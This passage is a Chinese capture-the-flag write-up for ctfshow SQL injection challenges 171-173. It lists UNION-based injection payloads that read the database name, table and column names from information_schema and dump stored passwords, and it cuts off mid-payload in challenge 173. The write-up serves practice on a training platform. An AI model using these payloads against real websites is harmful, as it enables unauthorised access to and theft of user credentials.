ctfshow web入门 sql注入
对输出进行过滤171-175
171
正常的手工注入过程
查数据库
1' union select 1,database(),3-- -
查表名
1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- -
查列名
1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user1' -- -
查数据
1' union select 1,group_concat(password),3 from ctfshow_user1 -- -
172
username 中不能有 flag,直接查password就好
查询语句如上
173
做了输出过滤,不影响我们做题,直接payload
1' union select 1,grou
1259




被折叠的 条评论
为什么被折叠?



